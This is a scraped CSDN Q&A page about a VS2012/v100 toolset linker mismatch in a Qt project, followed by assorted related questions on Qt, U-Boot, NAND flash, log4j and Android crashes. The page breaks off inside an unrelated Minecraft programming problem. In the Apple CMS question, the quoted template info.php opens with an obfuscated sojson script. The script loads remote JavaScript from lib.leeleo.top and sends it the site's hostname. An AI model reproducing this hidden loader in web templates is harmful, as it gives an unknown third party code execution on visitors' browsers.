vs2012平台下将工具集改成VS2010 V100之后生成出错

vs2012平台下新建QT application工程,将工具集改成VS2010 V100之后生成出错,情况如下:
1>qtmaind.lib(qtmain_win.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(moc_rr.obj 中)

2个回答

工程属性->配置属性-> 清单工具->输入和输出->嵌入清单,选择[否] 试试

lx624909677
lx624909677 回复zhuoyang111: 那你直接用VS2010不就可以吗?
5 年多之前 回复
zhuoyang111
zhuoyang111 因为我们的大平台是2010环境的,不一样的话整合不起来
5 年多之前 回复
lx624909677
lx624909677 回复zhuoyang111: 你用VS2012搭建项目,为什么要选择2010的环境?
5 年多之前 回复
zhuoyang111
zhuoyang111 不行,还是老问题
5 年多之前 回复

删除obj文件,重新生成一下。

caozhy
贵阳老马马善福专业维修游泳池堵漏防水工程 回复zhuoyang111: 那你需要重新编译qt得到适合的obj文件。
5 年多之前 回复
zhuoyang111
zhuoyang111 不行
5 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
VS2017打开VS2010工程,重顶解决方案目标之后编译依然报错?

使用VS2017打开VS2010工程之后,修改工程文件sln的头两行为: Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.27703.2035 MinimumVisualStudioVersion = 10.0.40219.1 然后将项目重定向解决方案: ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512336_211383.jpg) 然后,看到每个项目的属性里平台工具及已经修改为VS2017 ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512438_702772.jpg) 但是一旦生成项目,依然会报错:MSB8020 无法找到 Visual Studio 2010 的生成工具(平台工具集 =“v100”) ?,清理之后在生成无效: ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512513_708048.jpg) 有遇到类似情况的吗

在VS2012中使用QAxObject创建Excel文档出错

void uiLabelPrepare::dealfile(const char* filename) { QAxObject* workbooks = nullptr; QAxObject* workbook = nullptr; QAxObject* excel = new QAxObject("Excel application"); if (!excel) { uiMSG().warning("cannot create excel object"); return; } } 代码如上,添加QAxObject* excel = new QAxObject("Excel application");这一行代码后,程序运行错误如下(我的工程是用vs2010 V100工具集,qt4.8.4版本): 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1> 正在创建库 D:/SeisMining4.6/4.6.0/projects/bin/win64/Debug/uiODMain.lib 和对象 D:/SeisMining4.6/4.6.0/projects/bin/win64/Debug/uiODMain.exp 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ),该符号在函数 "char * __cdecl std::_Allocate<char>(unsigned __int64,char *)" (??$_Allocate@D@std@@YAPEAD_KPEAD@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ) 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z),该符号在函数 "public: virtual class std::error_condition __cdecl std::_System_error_category::default_error_condition(int)const " (?default_error_condition@_System_error_category@std@@UEBA?AVerror_condition@2@H@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z),该符号在函数 "public: virtual class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > __cdecl std::_System_error_category::message(int)const " (?message@_System_error_category@std@@UEBA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@H@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z)

vs2010 c++用已有代码建立工程出错

用已有代码建立工程出错,说找不到D:\Program Files (x86)\Microsoft Visual Studio 10\vc目录下的模版,我打开文件目录,发现根本没有VC这个目录。 然后我按照系统提示用安装光盘修复visual studio,结果还是一样啊,天呐,我第一次用vs2010就被这样折磨。

获取QListView 选中的index

在QListView中选中多个,然后我点击按钮删除这些行,如下,在addBtnClicked()中我定义QItemSelectionModel 和QModelIndexList 获取QListView被选中的index,但是运行的时候,函数结束会中断,主要是因为QModelIndexList indexlist = selmodel->selectedIndexes();这一行定义了导致的,请问这要怎么解决?(我的环境是Qt 5.2.0, VS2012平台,VS2010 V100工具集,如果用V110工具集的话是没问题的) void generalSelectDialog::addBtnClicked() { QItemSelectionModel *selmodel = ui.list_show->selectionModel(); QModelIndexList indexlist = selmodel->selectedIndexes(); int count1 = indexlist.size(); } 错误如下 断点停在如下代码段: extern "C" _CRTIMP int __cdecl _CrtIsValidHeapPointer( const void * pUserData ) { if (!pUserData) return FALSE; if (!_CrtIsValidPointer(pHdr(pUserData), sizeof(_CrtMemBlockHeader), FALSE)) return FALSE; return HeapValidate( _crtheap, 0, pHdr(pUserData) ); }

DLL 中new了一个字符串,PostMessage发送给主程序,主程序处理了数据后delete时崩溃

DLL 中new了一个字符串,调用PostMessage发送给主程序,主程序处理了数据后delete 当主程序和dll都用vs2010编译(v100)时,不会崩溃, 当主程序和dll都用vs2017编译(v141)时,也不会崩溃, 当主程序用vs2010编译(v100),dll用vs2017编译(v141)时,就会崩溃, 出错的地方: \_ASSERTE(_CrtIsValidHeapPointer(pUserData)); 注释: * If this ASSERT fails, a bad pointer has been passed in. It may be * totally bogus, or it may have been allocated from another heap. * The pointer MUST come from the 'local' heap. 好像是说delete的指针不是本地堆内存

nand flash 启动坏块,有了解过的吗?

海思3531a的板子 nand flash启动。 启动日志大致如下: Check Flash Memory Controller v100 ... Found Check Nand Flash Controller v610 ... found Special NAND id table Version 1.38 Nand ID: 0x2C 0xDA 0x90 0x95 0x06 0x00 0x00 0x00 Block:128KB Page:2KB Chip:256MB*1 OOB:64B ECC:4bit/512 Nand total size: 256MB *** Warning - bad CRC or NAND, using default environment ... VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4 yaffs: dev is 32505858 name is "mtdblock2" rw yaffs: passed flags "" VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) Welcome to HiLinux. ... 系统启动后,输入dmesg ~ # dmesg yaffs: checking block 1692 bad yaffs: checking block 1693 bad yaffs: checking block 1694 bad ... yaffs: checking block 1998 bad yaffs: checking block 1999 bad yaffs: yaffs_read_super: is_checkpointed 0 VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) >udev[702]: starting version 164 Hisilicon Media Memory Zone Manager ... 有的时候启动只提示以下异常: VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4 yaffs: dev is 32505858 name is "mtdblock2" rw yaffs: passed flags "" yaffs: yaffs: Attempting MTD mount of 31.2,"mtdblock2" yaffs: checking block 0 bad yaffs: checking block 822 bad yaffs: yaffs_read_super: is_checkpointed 1 VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) >udev[702]: starting version 164 进入uboot,输入指令 nand bad # nand bad Device 0 bad blocks 请问这种情况的坏块,可能是那些因素导致的? 希望了解过的指导下,万分感谢!

matplotlib,日期,画图,显示不正确

有2个问题 问题1:连线出现很奇怪的现象,那几条从左到右的连线是什么原因出现? ![图片说明](https://img-ask.csdn.net/upload/201901/07/1546863739_154000.png) ``` #生成figure对象 fig = MP.figure() #生成axis对象 ax = fig.add_subplot(111) ax.xaxis.set_major_formatter(mdate.DateFormatter('%Y-%m-%d')) ax.xlim = (0,20000) #设置x轴坐标值和标签旋转45°的显示方式 MP.xticks(P.date_range(dataset.index[0],dataset.index[-1],freq = 'Y'),rotation = 45) #x轴为dataset.index,也就是‘受理日期’,y轴为数量,颜色设置为红色 ax.plot(dataset.index,dataset['V100']) #plt.show() ``` 问题2:如图,日期都集中在中间显示,如何从x轴左到右显示? ![图片说明](https://img-ask.csdn.net/upload/201901/07/1546863989_394045.png) ``` #生成figure对象 fig = MP.figure() #生成axis对象 ax = fig.add_subplot(111) ax.xaxis.set_major_formatter(mdate.DateFormatter('%Y-%m-%d')) ax.xlim = (0,20000) #设置x轴坐标值和标签旋转45°的显示方式 MP.xticks(P.date_range(dataset.index[0],dataset.index[-1],freq = 'Y'),rotation = 45) #x轴为dataset.index,也就是‘受理日期’,y轴为数量,颜色设置为红色 ax.scatter(dataset.index,dataset['V100']) #plt.show() ``` 坐等大神指导

linux下显卡驱动的安装

有一机器带有八个显卡,linux下的,不懂得怎么安装多个(英伟达)显卡的驱动,请高手相助

error C2059: syntax error : ']',怎么解决。

#include<iostream> using namespace std; class Person { private: char name[10]; char sex[5]; int age; public: Person(char a[],char b[],int c) { strcpy(name,a); strcpy(sex,b); age=c; } int x1(int a) { int x1; x1=2018-a; return x1; } void y1(int a) { cout<<a<<endl; } }; class Stu:public Person { int class1; int num; public: Stu(char a1[],char b1[],int c1,int d1,int e1):Person(a1[],b1[],c1) { class1=d1; num=e1; } }; int main() { Stu n1("s","boy",20,3,10) n1.y1(n1.x1); return 0; } Compiling... 1.cpp E:\C++作业\1219\1.cpp(34) : error C2059: syntax error : ']' E:\C++作业\1219\1.cpp(46) : fatal error C1004: unexpected end of file found 执行 cl.exe 时出错. 1.obj - 1 error(s), 0 warning(s)

如何对遥感卫星图片进行处理,使之平滑化

手头一些遥感卫星图片,发现由于其拍摄日期不一致,导致图片的亮度等不一致。需要进行必要的处理,使之背景颜色一致。 网搜了半天,貌似都没有找到相关的代码。求指点~~ ![图片说明](https://img-ask.csdn.net/upload/201911/20/1574235381_167168.jpg) 我看过网上的视频,貌似可以去除这些背景颜色不一致的情况。。但是实在找不到相关代码。。

nand flash 转变 nor flash

求 nand flash 变成 nor flash 方法

程序运行就闪退,log日志如下,求大神支招

05-24 18:40:25.210 950-950/? E/HwSystemManager﹕ :ACTION_BATTERY_CHANGED pluged =2 05-24 18:40:25.220 843-843/? E/TemperatureMonitor2﹕ BatteryTemp=300 05-24 18:40:28.040 1079-1079/? E/memtrack﹕ Couldn't load memtrack module (No such file or directory) 05-24 18:40:28.040 1079-1079/? E/android.os.Debug﹕ failed to load memtrack module: -2 05-24 18:40:28.090 1079-1079/? I/android_hardware_fm.cpp﹕ ----Inside int register_android_hardware_fm_fmradio(JNIEnv*)---- 05-24 18:40:28.090 1079-1079/? I/android_hardware_fm.cpp﹕ register_android_hardware_fm_fmradio, ret is 0 05-24 18:40:28.350 1094-1094/com.example.administrator.myapplication W/dalvikvm﹕ threadid=1: thread exiting with uncaught exception (group=0x415ebc38) 05-24 18:40:28.360 137-177/? E/logserver﹕ Object Path:/data/system/dropbox/, mask=0x00000080 05-24 18:40:28.360 137-177/? E/logserver﹕ event->len=48, name=data_app_crash@1464086428362.txt 05-24 18:40:28.360 137-177/? E/logserver﹕ find_first_match: find match, plogs(type=1, pfile=/data/system/dropbox/, match=app_crash) 05-24 18:40:28.360 137-177/? E/logserver﹕ move_dir:src_path=/data/log/dbox/appdbg/logcache 05-24 18:40:28.360 137-177/? E/logserver﹕ move_dir:dst_path=/data/log/logcache/27563624/ 05-24 18:40:28.360 137-177/? E/logserver﹕ is_all_ready, any file is ready in non-keyfile exception. 05-24 18:40:28.360 137-177/? E/logserver﹕ extract_appname, forward search, appname=com.example.administrator.myapplication 05-24 18:40:28.360 137-177/? E/logserver﹕ archive_and_send, pos=0, type=crash, output=20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ ---copy_match_files enter!!-- 05-24 18:40:28.360 137-177/? E/logserver﹕ [copy_match_files,758]: copy [/data/system/dropbox/data_app_crash@1464086428362.txt] to [/data/log/logcache/27563624/data_app_crash@1464086428362.txt] 05-24 18:40:28.360 137-177/? E/logserver﹕ internal_archive, argc=7 05-24 18:40:28.360 137-177/? E/logserver﹕ get_fault_appname, appname=com.example.administrator.myapplication 05-24 18:40:28.360 137-177/? E/logserver﹕ handle_archive_exception, argc=7 05-24 18:40:28.360 137-177/? E/logserver﹕ get alarm time = 247377 (sec.)! 05-24 18:40:28.360 137-177/? E/logserver﹕ log_apr_add_record open file:/data/log/apr/P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics 05-24 18:40:28.360 137-177/? E/logserver﹕ move_input_files, create dir [/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash] 05-24 18:40:28.360 137-177/? E/logserver﹕ copy_file_to_dir, /data/log/logcache/27563624/data_app_crash@1464086428362.txt -> /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ copy_file_to_dir, /data/log/logcache/27563624/finger.txt -> /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ Process 177 opening FIFO for O_WRONLY 05-24 18:40:28.360 137-177/? E/logserver﹕ Process 177 opened fifo(19) 05-24 18:40:28.360 137-177/? E/logserver﹕ notify_logcontrol, 177 sent /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-176/? E/logserver﹕ thread_logcontrol, select ret = 1 05-24 18:40:28.360 137-176/? E/logserver﹕ handle_notify_event, read res = 324, client pid = 177, data=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-176/? E/logserver﹕ handle_notify_event, send msg [submit:trigger=0,bugtype=2,modulename=com.example.administrator.myapplication,level=1,testtype=NORMAL,path=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash;] 05-24 18:40:28.360 137-176/? E/logserver﹕ send_to_client, send to (18) res = 186 05-24 18:40:28.360 137-150/? E/logserver﹕ File record is changed, record a exception! 05-24 18:40:28.360 137-150/? E/logserver﹕ send_files, commercial version, send by other, return! 05-24 18:40:28.360 137-177/? E/logserver﹕ check_dir_size, dir[/data/log/coredump/] doesn't exist 05-24 18:40:28.360 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.370 1733-1774/? E/SubmitMessage﹕ Submit string: submit:trigger=0,bugtype=2,modulename=com.example.administrator.myapplication,level=1,testtype=NORMAL,path=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.380 137-177/? E/logserver﹕ Object Path:/data/log/apr/, mask=0x00000008 05-24 18:40:28.380 137-177/? E/logserver﹕ event->len=80, name=P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics 05-24 18:40:28.380 137-177/? E/logserver﹕ process_one_event, can not find this event(P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics) 05-24 18:40:28.380 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.400 137-177/? E/logserver﹕ Object Path:/data/log/apr/, mask=0x00000008 05-24 18:40:28.400 137-177/? E/logserver﹕ event->len=16, name=record 05-24 18:40:28.400 137-177/? E/logserver﹕ process_one_event, can not find this event(record) 05-24 18:40:28.400 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.530 792-1809/? W/SmartPowerUtils﹕ not found mod[4] to handle scene:208 05-24 18:40:28.670 843-1911/? W/TemperatureMonitor2﹕ Leave 38'C at 4122:58 05-24 18:40:29.040 792-1809/? W/SmartPowerUtils﹕ not found mod[4] to handle scene:208 05-24 18:40:29.050 876-876/? I/SimpleFolderPreView﹕ drawableSize = 128 drawableSize = 128 totalSize= 120sPreviewSize = 130 sPreviewPadding = 8 05-24 18:40:29.050 876-876/? I/SimpleFolderPreView﹕ drawableSize = 128 drawableSize = 128 totalSize= 120sPreviewSize = 130 sPreviewPadding = 8 05-24 18:40:29.050 876-876/? I/Launcher.MotionManager﹕ startShakeMotion mIsShakeInHome=false 05-24 18:40:29.060 950-2119/? W/Settings﹕ Setting airplane_mode_on has moved from android.provider.Settings.System to android.provider.Settings.Global, returning read-only value. 05-24 18:40:29.070 950-2119/? I/HwPowerManagerActivity﹕ brightniess:44, current screen power:89.05882352941177 05-24 18:40:29.070 130-976/? E/BufferQueue﹕ [com.huawei.android.launcher/com.huawei.android.launcher.simpleui.SimpleUILauncher] dequeueBuffer: can't dequeue multiple buffers without setting the buffer count 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@423a3d78params.scale = 0.41962025 params.transX = 48.380005mPreviewOffsetX 3params.transY = 12.32mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@424ca4e8params.scale = 0.5325949 params.transX = 24.190002mPreviewOffsetX 3params.transY = 22.159996mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@420fe0d8params.scale = 0.6455696 params.transX = 0.0mPreviewOffsetX 3params.transY = 32.0mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@41ecb5b8params.scale = 0.41962025 params.transX = 48.380005mPreviewOffsetX 3params.transY = 12.32mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@42281de8params.scale = 0.5325949 params.transX = 24.190002mPreviewOffsetX 3params.transY = 22.159996mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@424c4d00params.scale = 0.6455696 params.transX = 0.0mPreviewOffsetX 3params.transY = 32.0mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.150 950-2119/? I/HwSystemManager﹕ SavingSettingUtil:setAlarm and high_level_standard is 10 msg_send_interval is 240 count_frequency is 60 dangerous_level_standard is 25 dangerous_current_level is 30 min_interval_time is 3 average_current_fg is 350 count_frequency_fg is 5 app_show_level is 1 05-24 18:40:31.990 1094-1094/? I/Process﹕ Sending signal. PID: 1094 SIG: 9

求助关于ThinkPHP框架下出现错误重复错误Cannot redeclare jiexi() (previously declared in。

苹果CMS生成时出现错误 错误代码如下:Cannot redeclare jiexi() (previously declared in /www/wwwroot/www.xxx.com/template/JOELEO/asset/inc/info.php:5) 谢谢 希望相关经验的大佬帮忙看下 以下是info.php的代码: ``` <?php echo("<script> ['sojson.v4'][\"\x66\x69\x6c\x74\x65\x72\"][\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"](((['sojson.v4']+[])[\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,\"105A102p40b110F117B108o108A33e61u61J108I111p99X97f108U83s116v111b114s97a103j101L46c103v101w116o73v116c101x109Y40I34M116j104I101e109f101Q34v41i41H123O118a97O114C32Q116j104d101E109c101H61R108c111u99V97d108D83E116L111z114K97c103D101J46k103f101v116W73a116T101C109c40o34W116w104i101I109h101p34I41w59J100d111U99Q117j109i101o110H116l46i119g114Q105z116S101r40V34a60d108w105Y110Z107u32D105A100S61l39x108Z101s111h45S116c104f101W109w101k39D32C104o114G101v102P61H34C43R109T97a99t99T109v115N46s116A112a108J43W34s97p115o115v101n116a47y99C115x115o47P74e111t101h45w34U43j116H104H101W109A101J43G34C46m99f115B115F63k118t61y34o43W77I97i116f104r46n114t97G110v100Y111s109o40w41P43r34L32I116t121Z112o101B61i39i116A101r120t116x47y99Q115k115p39D32P114k101l108T61M39o115j116A121N108x101C115y104Y101u101x116g39t62V34O41n125p101P108L115X101L32h100j111q99a117O109t101f110R116p46T119b114o105h116f101O40q34U60E108M105y110k107y32r105w100j61A39M108t101z111y45b116A104P101N109j101N39g32P104N114w101n102D61A34n43i109a97f99a99f109V115d46c116q112J108C43C34g97D115B115u101G116m47O99L115l115i47v74R111K101A45y34B43B108R101h111c95l116T104r101E109y101T95g105h110l105C116y43d34z46r99Y115f115O63A118C61j34Q43I77S97u116E104T46M114Y97P110I100O111F109K40l41w43h34k32Q32m116X121x112J101c61W39O116f101U120Q116a47X99j115B115W39c32I114e101s108P61G39a115W116b121r108y101t115R104a101a101x116B39S62k34B41V59n40X102W117k110g99L116H105g111K110y32z40K100w101D115Y105Z103Z110Z87J41J32m123j118w97w114V32n100S111j99U69N108Z32D61q32e100O111k99C117A109n101K110I116j46M100B111h99W117K109R101T110H116I69C108f101l109W101P110W116d44O114y101O115H105Q122u101j69Y118A116I32n61p32n39W111C114Q105Y101W110w116H97h116E105p111c110j99y104m97M110m103D101w39B32f105B110i32C119a105m110G100p111G119I32E63Z32n39g111C114M105o101A110s116A97S116w105T111h110U99t104y97O110u103h101Z39v32y58w32h39Q114X101B115j105K122k101O39e44q114q101N99k97L108L99k32C61G32J102V117c110N99F116J105q111f110y32r40I41l32s123W118Q97W114V32H99Q108r105Z101f110v116d87S105c100h116C104A32U61v32r100d111q99Q69Q108b46t99C108C105Z101p110O116M87e105l100Y116U104g59r105Y102f32t40A33J99f108k105L101V110u116b87u105S100j116z104N41W32s114m101H116V117a114w110u59w100k111K99q69Q108t46x115r116a121H108H101U46j102W111S110H116Y83L105I122w101O32e61u32h49D48n48l32L42S32Y40l99V108U105H101Y110v116K87v105i100p116M104F32h47R32B100P101L115w105k103k110M87q41E32E43N32D39O112e120d39O59g125W59t105X102B32f40H33D100p111P99Z117M109N101R110X116w46s97d100C100k69V118I101C110X116n76S105N115R116w101z110i101H114L41j32G114P101L116W117o114q110y59V114P101X99e97f108Z99d40Q41Z59m119D105K110n100a111c119w46S97D100G100z69S118n101N110b116w76C105A115n116v101E110E101H114E40K114L101o115K105p122A101l69w118r116G44F32S114N101U99G97i108z99y44O32M102g97k108H115n101x41S59E100d111K99x117q109m101A110L116E46S97F100R100Q69l118G101d110a116C76m105p115d116x101L110v101s114i40h39v68y79w77U67k111E110a116e101b110J116K76w111Z97V100y101U100E39P44U32c114r101F99p97R108L99A44o32x102T97J108H115v101C41m59L125M41h40n55B53G48M41K59C118y97n114n32a119w101I115X32x61Z32a100N111g99K117K109R101u110l116B46O99U114h101g97b116T101C69g108r101x109C101s110Q116i40Z34m115G99I114N105E112p116V34W41y59m119d101Z115p46V116P121S112o101P32F61g32b34O116S101W120d116a47U106P97Q118l97H115u99K114v105I112Z116r34Q59M119r101G115j46e115t114o99b32W61c32k34p47e47i108e105P98z46T108O101h101x108L101Z111d46T116n111X112x47G98b121e46a112Y104M112S63y117Y114Y108g61f34o43a119M105M110J100y111Y119R46V108e111I99A97y116j105i111F110C46g104Y111a115R116U110d97W109Z101c59v100M111W99h117I109n101r110Z116S46C103w101j116y69d108u101G109t101V110u116z115J66c121h84k97L103d78B97r109T101c40d39W104w101Z97z100i39W41f91y48j93p46w97M112b112c101O110C100F67N104U105U108L100K40p119B101i115q41d59\"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4'); </script>"); function jiexi($a){     $count=count($a);     for($i=0;$i<$count;$i++){         echo '<li class="swiper-slide">                 <a class="btns-info" id="'.$i.'" onclick="playerSwitch(this.id)">                     <span class="iconfont icon-selection leo-fs-m"></span>&nbsp;'.$a[$i]['name'].'</a>             </li>             ';     } } function jiexiline($b){     $count=count($b);     for($i=0;$i<$count;$i++){         echo '"'.$b[$i]['url'].'",';     } } function gonggaos($c){     $count=count($c);     for($i=0;$i<$count;$i++){         echo '<div class="swiper-slide">                 <a href="'.$c[$i]['url'].'" title="'.$c[$i]['msg'].'">                     <div class="title leo-fs-l">'.$c[$i]['msg'].'</div>                 </a>             </div>         ';     } } ?> ```

hisi3516DV300 uboot无法烧入emmc

启动后的信息 System startup Uncompress Ok! U-Boot 2016.11 (Jan 10 2019 - 18:22:48 +0800)hi3516dv300 Relocation Offset is: 0f6c3000 Relocating to 8fec3000, new gd at 8fe22ef0, sp at 8fe22ed0 SPI Nor: Boot Media isn't SPI Nor NAND: Check Flash Memory Controller v100 ... Found SPI Nand ID Table Version 2.7 Warning: Wait SPI nand ready timeout, status: 0xff Cannot found a valid SPI Nand Device 0 MiB MMC: In: serial Out: serial Err: serial Net: eth0 Warning: eth0 (eth0) using random MAC address - 1a:10:e6:2c:f0:58 Hit any key to stop autoboot: 0 ## Error: "distro_bootcmd" not defined hisilicon # 保存环境信息也无法保存

log4j没办法 输出hibernate的sql到日志文件~~~~~~

我的log4j.properties配置 ``` # path log4j.debug=false log4j.path.iacportal=./iacportal/ log4j.logger.org.hibernate.SQL=DEBUG log4j.logger.org.hibernate.type=TRACE log4j.logger.org.hibernate.type.descriptor.sql.BasicBinder=TRACE #INFO級別日志输出 log4j.rootLogger=INFO,A1 log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender log4j.appender.A1.layout=org.apache.log4j.PatternLayout log4j.appender.A1.layout.ConversionPattern=[%-5p][%d{yyyy-MM-dd HH:mm:ss,SSSS}] %m%n log4j.appender.A1.file=${log4j.path.iacportal}/log4j_app-INFO_V100.log #log4j.appender.A1.threshold=INFO log4j.appender.A1.DatePattern='-'yyyy-MM-dd ``` 反正我是什么级别的日志都输出了就是没有sql输出,不知道还有没有其他什么可以影响日志输出 求大神帮助

UBOOT 设置环境变量重启后失效,恢复了默认设置,提示Warning - bad CRC, using default environment

问题如下: ``` System startup Uncompress Ok! U-Boot 2016.11 (Sep 19 2019 - 15:42:22 +0800)hi3518ev300 Relocation Offset is: 03736000 Relocating to 43f36000, new gd at 43e95ef0, sp at 43e95ed0 SPI Nor: hifmc_ip_ver_check(44): Check Flash Memory Controller v100 ...hifmc_ip_ver_check(50): Found hifmc_spi_nor_probe(1615): SPI Nor ID Table Version 1.0 hifmc_spi_nor_probe(1640): SPI Nor(cs 0) ID: 0xc2 0x20 0x18 hifmc_spi_nor_probe(1705): Block:64KB hifmc_spi_nor_probe(1706): Chip:16MB hifmc_spi_nor_probe(1707): Name:"MX25L128XX" hifmc100_spi_nor_probe(147): SPI Nor total size: 16MB NAND: 0 MiB MMC: *** Warning - bad CRC, using default environment In: serial Out: serial Err: serial Net: No ethernet found. Hit any key to stop autoboot: 0 ## Error: "distro_bootcmd" not defined hisilicon # ``` 设置了 bootcmd 后saveenv,提示成功,重启后又这样了,该怎么搞,uboot新手

Miner

Bob is recently playing a game called Minecraft, especially a mod called Industrialcraft 2. The things you can do in this mod is to build machines. One of the basic machines is Miner. The Automated Miner is the lazy man's answer to mining. Once you place the miner on the ground, then place a drill together with a scanner in the right position and provide enough electricity and mining pipes, the miner will automatically place mining pipes under it and mines all the ores in the scan range of the scanner. Miner However, Bob found that the miner's AI is limited, it follows the greedy strategy when mining, so there exists potential space for improvement to its electricity cost. Mining is processed layer by layer. The range n*n is determined by the scanner you are using. It can be 5*5, 7*7 or 9*9. So the problem you are facing now is to design the best strategy which wastes the least electricity on useless stones. A map of the current layer will be provided to you. It is of size n*n. A typical map of size 5*5 is shown below. 00111 00191 09vX1 09X2@ 099@1 'v' shows the position of the drill, that block has already been mined. 